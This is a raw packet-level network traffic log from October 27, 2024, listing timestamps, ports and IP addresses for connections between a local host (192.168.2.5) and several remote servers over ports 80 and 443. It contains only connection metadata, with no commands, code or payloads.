Oct 27, 2024 17:54:38.539567947 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.539577961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539586067 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539591074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539592981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539608002 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539609909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539627075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539628029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539634943 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.539644003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539649963 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539660931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539675951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539676905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539694071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539700031 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539709091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539726973 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539748907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.544076920 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:38.544120073 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:38.544301033 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:38.544646978 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:38.544670105 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:38.544688940 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.544699907 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.545425892 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.545458078 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.545833111 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.546309948 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.546317101 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.546471119 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.546478987 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.546638012 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.546652079 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.546761036 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.546772957 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.546855927 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.546868086 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.546895027 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.547571898 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.547642946 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.548104048 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.548171043 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.548218012 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.548305988 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.548515081 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.548588037 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.550256014 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.550328016 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.551116943 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.551187038 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.552062035 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.552160025 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.552490950 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.552578926 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.552797079 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.552886963 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.557697058 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.557770014 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.557777882 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.557857990 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.557876110 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.557977915 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.557986021 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.557990074 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.557995081 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.599355936 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.609653950 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.609683037 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.762758017 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.762928963 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.885004044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.885062933 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.885324955 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.885360003 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.885389090 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.885421991 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.885421991 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.885463953 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.885497093 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.885524035 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.885931969 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.885956049 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.885989904 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.885998964 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.886025906 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.886046886 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.888336897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888350964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888365030 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888386965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888405085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888408899 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888421059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888428926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888436079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888463974 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888463974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888482094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888484955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888509989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888519049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888537884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888567924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888582945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888595104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888633013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888647079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888659954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888674021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.888680935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.888715982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889429092 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889496088 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889504910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889537096 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889553070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889583111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889596939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889615059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889615059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889630079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889640093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889667988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889934063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889945984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.889969110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.889995098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.890296936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890311003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890342951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.890434980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890448093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890458107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.890465975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.890510082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.890609026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890623093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890636921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.890655041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.890683889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891030073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891043901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891057968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891063929 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891077995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891100883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891213894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891226053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891252041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891264915 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891273975 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.891294956 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.891304970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891330004 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.891339064 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.891343117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891360044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891365051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891369104 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.891381979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.891405106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.891442060 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.891442060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892021894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892036915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892051935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892069101 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892079115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892096996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892100096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892127991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892142057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892407894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892451048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892457962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892466068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892486095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892503023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892512083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892518044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892532110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892546892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.892553091 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.892585039 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893382072 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893416882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893445969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893467903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893481970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893486023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893506050 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893516064 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893524885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893533945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893548012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.893568993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893568993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.893594980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.894329071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894372940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894381046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.894387960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894404888 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.894428968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894440889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.894443989 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894459009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894473076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.894476891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.894510031 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.895298004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895334005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895349026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895374060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.895380974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895395994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895409107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895416021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.895433903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.895440102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.895467043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.895486116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.896228075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896248102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896261930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896270037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.896290064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.896301985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.896322966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896336079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896349907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896361113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.896363974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.896389961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.896424055 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.897181988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897243023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.897253990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897268057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897288084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.897300005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.897335052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897350073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897363901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897380114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.897391081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.897418976 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.898190975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898205042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898221016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898235083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.898251057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898250103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.898266077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898279905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898294926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.898299932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.898315907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.898343086 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.899127960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899142981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899163008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899168015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.899183989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.899188995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899203062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.899203062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899219036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899225950 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.899234056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.899244070 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.899272919 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900068998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900084019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900098085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900105000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900115967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900139093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900217056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900230885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900247097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900263071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900290012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900301933 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900322914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900336027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900338888 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900357962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900386095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900500059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900526047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900538921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900542021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900562048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900580883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900580883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900597095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900609016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.900614023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900634050 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.900652885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.914799929 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.914848089 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.914921045 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.914943933 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.914978027 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.915285110 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.919800997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919827938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919853926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919861078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.919869900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919888020 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.919908047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919925928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.919928074 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919943094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919965982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.919967890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.919975996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.919981003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.920012951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.920021057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.920027971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.920043945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.920047998 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.920078993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.966566086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.966583014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.966595888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.966649055 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.966695070 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.972285032 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.972328901 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.972387075 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.972430944 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.972460032 CET	49891	443	192.168.2.5	20.25.227.174
